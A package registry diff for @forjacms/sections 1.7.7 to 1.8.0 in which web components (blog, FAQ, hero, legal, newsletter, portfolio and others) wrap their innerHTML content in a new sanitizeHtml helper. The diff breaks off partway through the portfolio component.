@forjacms/sections 1.7.7 → 1.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -0
- package/dist/cjs/forja-blog.cjs.entry.js +2 -1
- package/dist/cjs/forja-contact.cjs.entry.js +3 -2
- package/dist/cjs/forja-cta.cjs.entry.js +2 -1
- package/dist/cjs/forja-faq.cjs.entry.js +2 -1
- package/dist/cjs/forja-features.cjs.entry.js +2 -1
- package/dist/cjs/forja-gallery.cjs.entry.js +2 -1
- package/dist/cjs/forja-hero.cjs.entry.js +2 -1
- package/dist/cjs/forja-legal.cjs.entry.js +2 -1
- package/dist/cjs/forja-logo-cloud.cjs.entry.js +2 -1
- package/dist/cjs/forja-newsletter.cjs.entry.js +3 -2
- package/dist/cjs/forja-portfolio.cjs.entry.js +4 -3
- package/dist/cjs/forja-pricing.cjs.entry.js +2 -1
- package/dist/cjs/forja-projects.cjs.entry.js +2 -1
- package/dist/cjs/forja-section-renderer.cjs.entry.js +2 -1
- package/dist/cjs/forja-stats.cjs.entry.js +2 -1
- package/dist/cjs/forja-tag-cloud.cjs.entry.js +2 -1
- package/dist/cjs/forja-team.cjs.entry.js +2 -1
- package/dist/cjs/forja-testimonials.cjs.entry.js +2 -1
- package/dist/cjs/forja-text-block.cjs.entry.js +2 -1
- package/dist/cjs/forja-timeline.cjs.entry.js +2 -1
- package/dist/cjs/forja-video.cjs.entry.js +2 -1
- package/dist/cjs/sanitize-CW5vDvZT.js +12038 -0
- package/dist/collection/components/forja-blog/forja-blog.js +2 -1
- package/dist/collection/components/forja-contact/forja-contact.js +3 -2
- package/dist/collection/components/forja-cta/forja-cta.js +2 -1
- package/dist/collection/components/forja-faq/forja-faq.js +2 -1
- package/dist/collection/components/forja-features/forja-features.js +2 -1
- package/dist/collection/components/forja-gallery/forja-gallery.js +2 -1
- package/dist/collection/components/forja-hero/forja-hero.js +2 -1
- package/dist/collection/components/forja-legal/forja-legal.js +2 -1
- package/dist/collection/components/forja-logo-cloud/forja-logo-cloud.js +2 -1
- package/dist/collection/components/forja-newsletter/forja-newsletter.js +3 -2
- package/dist/collection/components/forja-portfolio/forja-portfolio.js +4 -3
- package/dist/collection/components/forja-pricing/forja-pricing.js +2 -1
- package/dist/collection/components/forja-projects/forja-projects.js +2 -1
- package/dist/collection/components/forja-section-renderer/forja-section-renderer.js +2 -1
- package/dist/collection/components/forja-stats/forja-stats.js +2 -1
- package/dist/collection/components/forja-tag-cloud/forja-tag-cloud.js +2 -1
- package/dist/collection/components/forja-team/forja-team.js +2 -1
- package/dist/collection/components/forja-testimonials/forja-testimonials.js +2 -1
- package/dist/collection/components/forja-text-block/forja-text-block.js +2 -1
- package/dist/collection/components/forja-timeline/forja-timeline.js +2 -1
- package/dist/collection/components/forja-video/forja-video.js +2 -1
- package/dist/collection/utils/sanitize.js +28 -0
- package/dist/collection/utils/sanitize.unit.js +36 -0
- package/dist/components/forja-blog.js +1 -1
- package/dist/components/forja-contact.js +1 -1
- package/dist/components/forja-cta.js +1 -1
- package/dist/components/forja-faq.js +1 -1
- package/dist/components/forja-features.js +1 -1
- package/dist/components/forja-gallery.js +1 -1
- package/dist/components/forja-hero.js +1 -1
- package/dist/components/forja-legal.js +1 -1
- package/dist/components/forja-logo-cloud.js +1 -1
- package/dist/components/forja-newsletter.js +1 -1
- package/dist/components/forja-portfolio.js +1 -1
- package/dist/components/forja-pricing.js +1 -1
- package/dist/components/forja-projects.js +1 -1
- package/dist/components/forja-section-renderer.js +1 -1
- package/dist/components/forja-stats.js +1 -1
- package/dist/components/forja-tag-cloud.js +1 -1
- package/dist/components/forja-team.js +1 -1
- package/dist/components/forja-testimonials.js +1 -1
- package/dist/components/forja-text-block.js +1 -1
- package/dist/components/forja-timeline.js +1 -1
- package/dist/components/forja-video.js +1 -1
- package/dist/components/p-D6KWgfCs.js +7 -0
- package/dist/esm/forja-blog.entry.js +2 -1
- package/dist/esm/forja-contact.entry.js +3 -2
- package/dist/esm/forja-cta.entry.js +2 -1
- package/dist/esm/forja-faq.entry.js +2 -1
- package/dist/esm/forja-features.entry.js +2 -1
- package/dist/esm/forja-gallery.entry.js +2 -1
- package/dist/esm/forja-hero.entry.js +2 -1
- package/dist/esm/forja-legal.entry.js +2 -1
- package/dist/esm/forja-logo-cloud.entry.js +2 -1
- package/dist/esm/forja-newsletter.entry.js +3 -2
- package/dist/esm/forja-portfolio.entry.js +4 -3
- package/dist/esm/forja-pricing.entry.js +2 -1
- package/dist/esm/forja-projects.entry.js +2 -1
- package/dist/esm/forja-section-renderer.entry.js +2 -1
- package/dist/esm/forja-stats.entry.js +2 -1
- package/dist/esm/forja-tag-cloud.entry.js +2 -1
- package/dist/esm/forja-team.entry.js +2 -1
- package/dist/esm/forja-testimonials.entry.js +2 -1
- package/dist/esm/forja-text-block.entry.js +2 -1
- package/dist/esm/forja-timeline.entry.js +2 -1
- package/dist/esm/forja-video.entry.js +2 -1
- package/dist/esm/sanitize-D6KWgfCs.js +12036 -0
- package/dist/forja-sections/forja-sections.esm.js +1 -1
- package/dist/forja-sections/p-0c90861f.entry.js +1 -0
- package/dist/forja-sections/p-3224ea53.entry.js +1 -0
- package/dist/forja-sections/p-32b758b2.entry.js +1 -0
- package/dist/forja-sections/p-34e5af78.entry.js +1 -0
- package/dist/forja-sections/p-5af07298.entry.js +1 -0
- package/dist/forja-sections/p-65db9305.entry.js +1 -0
- package/dist/forja-sections/p-6815a0d9.entry.js +1 -0
- package/dist/forja-sections/p-6b63cd9e.entry.js +1 -0
- package/dist/forja-sections/p-775468ac.entry.js +1 -0
- package/dist/forja-sections/p-815198d8.entry.js +1 -0
- package/dist/forja-sections/p-D6KWgfCs.js +7 -0
- package/dist/forja-sections/p-a32ca48d.entry.js +1 -0
- package/dist/forja-sections/p-a5608f61.entry.js +1 -0
- package/dist/forja-sections/p-a9ea393f.entry.js +1 -0
- package/dist/forja-sections/p-aca042d7.entry.js +1 -0
- package/dist/forja-sections/p-ad7f6525.entry.js +1 -0
- package/dist/forja-sections/p-b022f97f.entry.js +1 -0
- package/dist/forja-sections/p-c4a6fd86.entry.js +1 -0
- package/dist/forja-sections/p-d5673a61.entry.js +1 -0
- package/dist/forja-sections/p-e9687bdd.entry.js +1 -0
- package/dist/forja-sections/p-eb4d3343.entry.js +1 -0
- package/dist/forja-sections/p-fd21a4d6.entry.js +1 -0
- package/dist/types/utils/sanitize.d.ts +7 -0
- package/dist/types/utils/sanitize.unit.d.ts +1 -0
- package/package.json +4 -2
- package/dist/forja-sections/p-2374ab45.entry.js +0 -1
- package/dist/forja-sections/p-28d89696.entry.js +0 -1
- package/dist/forja-sections/p-44c37ec0.entry.js +0 -1
- package/dist/forja-sections/p-4a64fd63.entry.js +0 -1
- package/dist/forja-sections/p-52608627.entry.js +0 -1
- package/dist/forja-sections/p-53d27751.entry.js +0 -1
- package/dist/forja-sections/p-66dee454.entry.js +0 -1
- package/dist/forja-sections/p-680fe800.entry.js +0 -1
- package/dist/forja-sections/p-73d4139c.entry.js +0 -1
- package/dist/forja-sections/p-7835a30d.entry.js +0 -1
- package/dist/forja-sections/p-7cd82cee.entry.js +0 -1
- package/dist/forja-sections/p-7dff4916.entry.js +0 -1
- package/dist/forja-sections/p-a1b4e383.entry.js +0 -1
- package/dist/forja-sections/p-a4cc2ee9.entry.js +0 -1
- package/dist/forja-sections/p-b4bf78b2.entry.js +0 -1
- package/dist/forja-sections/p-b79ab033.entry.js +0 -1
- package/dist/forja-sections/p-d312478c.entry.js +0 -1
- package/dist/forja-sections/p-da58a406.entry.js +0 -1
- package/dist/forja-sections/p-dbc78819.entry.js +0 -1
- package/dist/forja-sections/p-df44677a.entry.js +0 -1
- package/dist/forja-sections/p-f39766f7.entry.js +0 -1
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaBlog {
|
|
4
5
|
render() {
|
|
5
6
|
const hasPosts = this.posts && this.posts.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: 'f388fb05e0b1c9037849aca394546a8eb940a794', class: "forja-blog", "aria-label": sectionLabel(this.sectionTitle, 'Blog') }, h("slot", { key: '7bb15fe38b974b22104ae1d5091556b403d21cc7', name: "before" }), this.sectionTitle && h("h2", { key: '13fd9b0730213fd6f0aa066c712a46463ad01760', class: "forja-blog__title" }, this.sectionTitle), this.text && h("div", { key: '4a23d09535b8f501a8effd4eefa095d28916a9f0', class: "forja-blog__text", innerHTML: sanitizeHtml(this.text) }), hasPosts ? (h("div", { class: "forja-blog__grid", role: "list", "data-columns": this.columns }, this.posts.map(post => (h("article", { class: "forja-blog__card", role: "listitem" }, post.imageUrl && (h("a", { href: post.href, class: "forja-blog__image-link" }, h("img", { src: post.imageUrl, alt: "", class: "forja-blog__image", loading: "lazy" }))), h("div", { class: "forja-blog__content" }, (post.date || post.author) && (h("div", { class: "forja-blog__meta" }, post.date && h("time", { class: "forja-blog__date" }, post.date), post.author && h("span", { class: "forja-blog__author" }, post.author))), h("h3", { class: "forja-blog__post-title" }, post.href ? (h("a", { href: post.href, class: "forja-blog__link" }, post.title)) : (post.title)), post.excerpt && (h("div", { class: "forja-blog__excerpt", innerHTML: sanitizeHtml(post.excerpt) })))))))) : (h("slot", null)), this.buttonText && this.buttonHref && (h("div", { key: '8e47b739a0df71b9c7c3406ee7bf69d4f800456e', class: "forja-blog__footer" }, h("a", { key: 'cee686f2bd640afead6071fc2ba1c02769eb8ef0', href: this.buttonHref, class: "forja-blog__cta" }, this.buttonText))), h("slot", { key: '24d9babac7a30a58d04d211e6240c227dcd77180', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-blog"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel, sectionId } from "../../utils/a11y";
|
|
3
4
|
import { altchaSolved, renderAltchaWidget } from "../../utils/altcha";
|
|
4
5
|
export class ForjaContact {
|
|
@@ -32,11 +33,11 @@ export class ForjaContact {
|
|
|
32
33
|
}
|
|
33
34
|
render() {
|
|
34
35
|
const hasFields = this.fields && this.fields.length > 0;
|
|
35
|
-
return (h("section", { key: '
|
|
36
|
+
return (h("section", { key: 'c8af0ffcd913695e8dfff36728de8e2ee434b488', class: "forja-contact", "aria-label": sectionLabel(this.sectionTitle, 'Contact') }, h("slot", { key: 'a7df7905ee96ce02cbda43852c8e509905bdde56', name: "before" }), h("div", { key: 'fa967a307c4fc804e2e944d9c4e16131847ca9ef', class: "forja-contact__content" }, this.sectionTitle && h("h2", { key: 'a4e51561fdd766ec7e8d63340cc9f6b88258fcfb', class: "forja-contact__title" }, this.sectionTitle), this.text && h("div", { key: '1845015fab28082323d875cb26c4b27b69df52df', class: "forja-contact__text", innerHTML: sanitizeHtml(this.text) }), this.buttonText && this.buttonHref && (h("a", { key: '232643b2eb3e313550c31b1da06b7e5f9b714397', href: this.buttonHref, class: "forja-contact__cta" }, this.buttonText))), hasFields ? (h("form", { class: "forja-contact__form", action: this.formAction, method: this.formAction ? 'post' : undefined, onSubmit: this.handleSubmit }, this.fields.map(field => {
|
|
36
37
|
const fieldId = sectionId(field.name, 'contact');
|
|
37
38
|
return (h("div", { class: "forja-contact__field" }, h("label", { class: "forja-contact__label", htmlFor: fieldId }, field.label, field.required && h("span", { "aria-hidden": "true" }, " *")), field.type === 'textarea' ? (h("textarea", { id: fieldId, name: field.name, class: "forja-contact__input forja-contact__input--textarea", required: field.required, "aria-required": field.required ? 'true' : undefined, placeholder: field.placeholder })) : (h("input", { id: fieldId, name: field.name, type: field.type, class: "forja-contact__input", required: field.required, "aria-required": field.required ? 'true' : undefined, placeholder: field.placeholder }))));
|
|
38
39
|
}), this.requiresAltcha &&
|
|
39
|
-
renderAltchaWidget(this.altchaChallengeUrl, 'forja-contact-altcha'), this.botProtectionUnsolved && (h("p", { class: "forja-contact__error", role: "alert", "data-testid": "forja-contact-altcha-error" }, "Please complete the verification before submitting.")), h("button", { type: "submit", class: "forja-contact__submit" }, this.buttonText || 'Send'))) : (h("slot", null)), h("slot", { key: '
|
|
40
|
+
renderAltchaWidget(this.altchaChallengeUrl, 'forja-contact-altcha'), this.botProtectionUnsolved && (h("p", { class: "forja-contact__error", role: "alert", "data-testid": "forja-contact-altcha-error" }, "Please complete the verification before submitting.")), h("button", { type: "submit", class: "forja-contact__submit" }, this.buttonText || 'Send'))) : (h("slot", null)), h("slot", { key: 'b520fe377f4bfbb9f4e47febb064f6e0d5f67f76', name: "after" })));
|
|
40
41
|
}
|
|
41
42
|
static get is() { return "forja-contact"; }
|
|
42
43
|
static get properties() {
|
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaCta {
|
|
4
5
|
render() {
|
|
5
|
-
return (h("section", { key: '
|
|
6
|
+
return (h("section", { key: 'bcc9c947f7925c74a917e51c9a01b3e1e28630d2', class: "forja-cta", "aria-label": sectionLabel(this.sectionTitle, 'Call to action') }, h("slot", { key: '3bc2dd9fef3b945a095b0a23ea4df2d3199ab521', name: "before" }), this.imageUrl && (h("img", { key: '2b46a5a039cba9d7d5aee6f7048616017eeab6fc', src: this.imageUrl, alt: this.imageAlt || '', class: "forja-cta__image", loading: "lazy" })), h("div", { key: '620561f04fb24781f77bec5b06a73fb9d74d807b', class: "forja-cta__content" }, this.sectionTitle && h("h2", { key: '4863015db9f2c9325db40cab71f6c2642254b2e8', class: "forja-cta__title" }, this.sectionTitle), this.text && h("div", { key: 'f4b2961cdea83ef5e1172a37e32ff6622fa7e1d9', class: "forja-cta__text", innerHTML: sanitizeHtml(this.text) }), this.buttonText && this.buttonHref && (h("a", { key: 'b816ed6ac43b25d3aca0b43443820be66068223b', href: this.buttonHref, class: "forja-cta__button" }, this.buttonText))), h("slot", { key: 'f7e68d935cb95eb58ecb5257a2f17518ff2f8795', name: "after" })));
|
|
6
7
|
}
|
|
7
8
|
static get is() { return "forja-cta"; }
|
|
8
9
|
static get properties() {
|
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaFaq {
|
|
4
5
|
render() {
|
|
5
6
|
const hasItems = this.items && this.items.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: '7b764cc09100c6aec6446f953780c2d2ce597c65', class: "forja-faq", "aria-label": sectionLabel(this.sectionTitle, 'Frequently asked questions') }, h("slot", { key: '39f9f402e657baa03dbf535ca1fd760838e52dd9', name: "before" }), this.sectionTitle && h("h2", { key: 'b83043007df5d58c721c53ad3886d6c12dc0c374', class: "forja-faq__title" }, this.sectionTitle), this.text && h("div", { key: 'f6096729170e283558da9bf9f19a195e89cc1f15', class: "forja-faq__text", innerHTML: sanitizeHtml(this.text) }), hasItems ? (h("div", { class: "forja-faq__list" }, this.items.map(item => (h("details", { class: "forja-faq__item" }, h("summary", { class: "forja-faq__question" }, item.question), h("div", { class: "forja-faq__answer", innerHTML: sanitizeHtml(item.answer) })))))) : (h("div", { class: "forja-faq__list" }, h("slot", null))), h("slot", { key: '9df2a977d2135c0ccfd2df23a8be442a6e711cb2', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-faq"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaFeatures {
|
|
4
5
|
render() {
|
|
5
6
|
const hasItems = this.items && this.items.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: 'dfe822afd362c2eb23743dc9747a27e1310d5326', class: "forja-features", "aria-label": sectionLabel(this.sectionTitle, 'Features') }, h("slot", { key: '27b9cde026c60da5c5cf0d04079fa8ef19ad7566', name: "before" }), (this.sectionTitle || this.text) && (h("div", { key: 'c761dddc8c9dc572dcc15ebf85591f4c28c4f927', class: "forja-features__header" }, this.sectionTitle && h("h2", { key: '0a47b1d752ebaec58137e3b4371fb3f14e0cb501', class: "forja-features__title" }, this.sectionTitle), this.text && h("div", { key: '927f05f0102c835abb3031232e9b81bb63ea5dd0', class: "forja-features__text", innerHTML: sanitizeHtml(this.text) }))), hasItems ? (h("ul", { class: "forja-features__grid", role: "list", "data-columns": this.columns }, this.items.map(item => (h("li", { class: "forja-features__item" }, item.icon && h("span", { class: "forja-features__icon", "aria-hidden": "true" }, item.icon), h("h3", { class: "forja-features__item-title" }, item.title), item.text && h("p", { class: "forja-features__item-text" }, item.text)))))) : (h("div", { class: "forja-features__grid", role: "list", "data-columns": this.columns }, h("slot", null))), h("slot", { key: '0f8f33c9742b3c43345a10fafed770980fcc1664', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-features"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaGallery {
|
|
4
5
|
render() {
|
|
5
6
|
const hasItems = this.items && this.items.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: '5ed465d0edb40fd9cc0a710389cbc969d3d8023e', class: "forja-gallery", "aria-label": sectionLabel(this.sectionTitle, 'Gallery') }, h("slot", { key: '940ff6ebbc4548dbd554b51b6bdd7875b4e5ee4d', name: "before" }), this.sectionTitle && h("h2", { key: 'a02b9a1446fff2885132941a61f5163f5b98656a', class: "forja-gallery__title" }, this.sectionTitle), this.text && h("div", { key: '767ff1cf923beff6e586a913058bc2968b0b9241', class: "forja-gallery__text", innerHTML: sanitizeHtml(this.text) }), hasItems ? (h("div", { class: "forja-gallery__grid", role: "list", "data-columns": this.columns }, this.items.map(item => (h("figure", { class: "forja-gallery__item", role: "listitem" }, h("img", { src: item.imageUrl, alt: item.alt || '', class: "forja-gallery__image", loading: "lazy" }), item.caption && h("figcaption", { class: "forja-gallery__caption" }, item.caption)))))) : (h("div", { class: "forja-gallery__grid", role: "list", "data-columns": this.columns }, h("slot", null))), h("slot", { key: 'f4a66f40c12f72734e8006747391d492bb0de8a4', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-gallery"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaHero {
|
|
4
5
|
render() {
|
|
@@ -7,7 +8,7 @@ export class ForjaHero {
|
|
|
7
8
|
this.fullWidth && 'forja-hero--full-width',
|
|
8
9
|
this.gradient && 'forja-hero--gradient',
|
|
9
10
|
].filter(Boolean).join(' ');
|
|
10
|
-
return (h("section", { key: '
|
|
11
|
+
return (h("section", { key: '42b4b55ee4f08c809edbf4980a25212b534f943b', class: classes, "aria-label": sectionLabel(this.sectionTitle, 'Hero') }, h("slot", { key: '6f1f2688abbdb6dfd5e3ffcd967b2fb646dd47bb', name: "before" }), this.imageUrl && (h("img", { key: '4bdfab1196aaee43884c8c185ca770ecb4cf6ce9', src: this.imageUrl, alt: this.imageAlt || '', class: "forja-hero__image", loading: "eager" })), h("div", { key: '4ca0a9b9a9df7fbadd0d83d9ed00015149d37a9c', class: "forja-hero__content" }, this.sectionTitle && h("h2", { key: '1feb3bb8b632609d10498a4020d62d8cf813e7ca', class: "forja-hero__title" }, this.sectionTitle), this.text && h("div", { key: '59f1a37170e3305854caa56bbd98a1bd6216dfcd', class: "forja-hero__text", innerHTML: sanitizeHtml(this.text) }), this.buttonText && this.buttonHref && (h("a", { key: '191fbb98c9f11d10863b081540ab84ee9dc5e6c7', href: this.buttonHref, class: "forja-hero__cta" }, this.buttonText))), h("slot", { key: 'a01d8c4271bfd687897b906626e9f14255ee078d', name: "after" })));
|
|
11
12
|
}
|
|
12
13
|
static get is() { return "forja-hero"; }
|
|
13
14
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
import { LEGAL_DOC_TYPE_LABELS } from "../../types";
|
|
4
5
|
/**
|
|
@@ -40,7 +41,7 @@ export class ForjaLegal {
|
|
|
40
41
|
? LEGAL_DOC_TYPE_LABELS[this.documentType] || this.documentType
|
|
41
42
|
: undefined;
|
|
42
43
|
const displayDate = this.effectiveDate || this.updatedAt || this.createdAt;
|
|
43
|
-
return (h("article", { key: '
|
|
44
|
+
return (h("article", { key: 'f642e7adfbba096d8c6ea683d9227d0319409dc2', class: "forja-legal", "aria-label": sectionLabel(this.sectionTitle, 'Legal document') }, h("header", { key: 'acaf35f2c653c9093ccd48779b7540766ac5794a', class: "forja-legal__header" }, this.sectionTitle && h("h1", { key: 'e1a06a6c02754025f89054d564b88539ad0b4119', class: "forja-legal__title" }, this.sectionTitle), this.hasMetadata() && (h("div", { key: '6494e1b855682694e9eb19e234481fa5214eea70', class: "forja-legal__meta" }, this.showDocumentType && typeLabel && (h("span", { key: 'f077ab7a31892a01bd95bda259d11b9ed19a6a88', class: "forja-legal__type" }, typeLabel)), this.showVersion && this.version != null && (h("span", { key: 'bf5157e4a53935c577952a230dfeeb7a9d72c521', class: "forja-legal__version" }, "Version ", this.version)), this.showDates && displayDate && (h("time", { key: 'be166fdf2fbc4a99caef139f56662f80a2f09b2e', class: "forja-legal__date", dateTime: displayDate }, this.effectiveDate ? 'Effective ' : 'Updated ', this.formatDate(displayDate)))))), this.showIntro && this.intro && (h("div", { key: 'c21f507daffc033b214ac6db5115b17aa3bc2315', class: "forja-legal__intro", innerHTML: sanitizeHtml(this.intro) })), this.body ? (h("div", { class: "forja-legal__body", innerHTML: sanitizeHtml(this.body) })) : (h("div", { class: "forja-legal__body" }, h("slot", null)))));
|
|
44
45
|
}
|
|
45
46
|
static get is() { return "forja-legal"; }
|
|
46
47
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaLogoCloud {
|
|
4
5
|
render() {
|
|
@@ -7,7 +8,7 @@ export class ForjaLogoCloud {
|
|
|
7
8
|
'forja-logo-cloud',
|
|
8
9
|
this.grayscale && 'forja-logo-cloud--grayscale',
|
|
9
10
|
].filter(Boolean).join(' ');
|
|
10
|
-
return (h("section", { key: '
|
|
11
|
+
return (h("section", { key: '32a98374780f2f556321baa7978d7746bb815e11', class: classes, "aria-label": sectionLabel(this.sectionTitle, 'Partners') }, h("slot", { key: 'd422f40488b640e8b5c4d7b8a2d66bd144fc8150', name: "before" }), this.sectionTitle && h("h2", { key: 'e432f9ea6ea33ce8500eabca8d64ec6c6cf2608f', class: "forja-logo-cloud__title" }, this.sectionTitle), this.text && h("div", { key: 'f0c18aa34a98a9789baafb30ce2d3fdaf3be45ce', class: "forja-logo-cloud__text", innerHTML: sanitizeHtml(this.text) }), hasLogos ? (h("ul", { class: "forja-logo-cloud__grid", role: "list", "data-columns": this.columns }, this.logos.map(logo => (h("li", { class: "forja-logo-cloud__item" }, logo.href ? (h("a", { href: logo.href, class: "forja-logo-cloud__link", target: "_blank", rel: "noopener" }, h("img", { src: logo.imageUrl, alt: logo.alt, class: "forja-logo-cloud__image", loading: "lazy" }))) : (h("img", { src: logo.imageUrl, alt: logo.alt, class: "forja-logo-cloud__image", loading: "lazy" }))))))) : (h("slot", null)), h("slot", { key: '190222aa2c2d029d4c1f8fa1c21a42fa1e801795', name: "after" })));
|
|
11
12
|
}
|
|
12
13
|
static get is() { return "forja-logo-cloud"; }
|
|
13
14
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel, sectionId } from "../../utils/a11y";
|
|
3
4
|
import { altchaSolved, renderAltchaWidget } from "../../utils/altcha";
|
|
4
5
|
export class ForjaNewsletter {
|
|
@@ -26,8 +27,8 @@ export class ForjaNewsletter {
|
|
|
26
27
|
render() {
|
|
27
28
|
const emailId = sectionId(this.sectionTitle, 'newsletter-email');
|
|
28
29
|
const nameId = sectionId(this.sectionTitle, 'newsletter-name');
|
|
29
|
-
return (h("section", { key: '
|
|
30
|
-
renderAltchaWidget(this.altchaChallengeUrl, 'forja-newsletter-altcha'), this.botProtectionUnsolved && (h("p", { key: '
|
|
30
|
+
return (h("section", { key: '1eebd751804580bc44881d70692d79090869429e', class: "forja-newsletter", "aria-label": sectionLabel(this.sectionTitle, 'Newsletter') }, h("slot", { key: '26aa48a4902487a440f6f528c4b624593f3dae2f', name: "before" }), this.sectionTitle && h("h2", { key: '0c2ec6c385a03c4aaaf5f514ca4b780c46160875', class: "forja-newsletter__title" }, this.sectionTitle), this.text && h("div", { key: 'd010e38b4a0bd89f63400f2718a1d99e83e691ab', class: "forja-newsletter__text", innerHTML: sanitizeHtml(this.text) }), h("form", { key: 'b94227214cc56bd347531f282dcadfe6a14a9121', class: "forja-newsletter__form", action: this.formAction, method: this.formAction ? 'post' : undefined, onSubmit: this.handleSubmit }, this.showName && (h("div", { key: 'd9d4935d8cf5596c5cf0537dcf8bce8a607a0fbb', class: "forja-newsletter__field" }, h("label", { key: '8d1cb78490566709d251b3eac84631efc7bd3b8b', class: "forja-newsletter__label", htmlFor: nameId }, "Name"), h("input", { key: 'fed5928d28416aca59de23a94b6ff536822a4e2b', id: nameId, name: "name", type: "text", class: "forja-newsletter__input" }))), h("div", { key: '862e08935374349422fa20ce513dd490eb1a9e4f', class: "forja-newsletter__field" }, h("label", { key: '9fcabeca3d01a4d5f23317abe2b97b8149396d07', class: "forja-newsletter__label", htmlFor: emailId }, "Email"), h("input", { key: 'd19c80b577109b978fa53a56847b4c1d35acefb0', id: emailId, name: "email", type: "email", class: "forja-newsletter__input", required: true, "aria-required": "true" })), this.requiresAltcha &&
|
|
31
|
+
renderAltchaWidget(this.altchaChallengeUrl, 'forja-newsletter-altcha'), this.botProtectionUnsolved && (h("p", { key: '863c705d1edfe9ab99441af7daf6feb01e66286f', class: "forja-newsletter__error", role: "alert", "data-testid": "forja-newsletter-altcha-error" }, "Please complete the verification before submitting.")), h("button", { key: 'e0923cd8919914c04853adfe24982cf45118c913', type: "submit", class: "forja-newsletter__submit" }, this.buttonText)), h("slot", { key: '38f8f6b4f0dee4eeedb79f030a7d50a6302a71a2', name: "after" })));
|
|
31
32
|
}
|
|
32
33
|
static get is() { return "forja-newsletter"; }
|
|
33
34
|
static get properties() {
|
|
@@ -1,15 +1,16 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaPortfolio {
|
|
4
5
|
renderExperiences() {
|
|
5
6
|
if (!this.experiences || this.experiences.length === 0)
|
|
6
7
|
return null;
|
|
7
|
-
return (h("div", { class: "forja-portfolio__experiences" }, h("h3", { class: "forja-portfolio__group-title" }, "Experience"), h("ol", { class: "forja-portfolio__list" }, this.experiences.map(exp => (h("li", { class: "forja-portfolio__entry" }, h("article", { class: "forja-portfolio__card" }, exp.logoUrl && (h("img", { src: exp.logoUrl, alt: "", class: "forja-portfolio__logo", loading: "lazy" })), h("div", { class: "forja-portfolio__details" }, h("h4", { class: "forja-portfolio__role" }, exp.role), h("p", { class: "forja-portfolio__company" }, exp.company), exp.period && h("time", { class: "forja-portfolio__period" }, exp.period), exp.description && (h("div", { class: "forja-portfolio__description", innerHTML: exp.description }))))))))));
|
|
8
|
+
return (h("div", { class: "forja-portfolio__experiences" }, h("h3", { class: "forja-portfolio__group-title" }, "Experience"), h("ol", { class: "forja-portfolio__list" }, this.experiences.map(exp => (h("li", { class: "forja-portfolio__entry" }, h("article", { class: "forja-portfolio__card" }, exp.logoUrl && (h("img", { src: exp.logoUrl, alt: "", class: "forja-portfolio__logo", loading: "lazy" })), h("div", { class: "forja-portfolio__details" }, h("h4", { class: "forja-portfolio__role" }, exp.role), h("p", { class: "forja-portfolio__company" }, exp.company), exp.period && h("time", { class: "forja-portfolio__period" }, exp.period), exp.description && (h("div", { class: "forja-portfolio__description", innerHTML: sanitizeHtml(exp.description) }))))))))));
|
|
8
9
|
}
|
|
9
10
|
renderEducation() {
|
|
10
11
|
if (!this.education || this.education.length === 0)
|
|
11
12
|
return null;
|
|
12
|
-
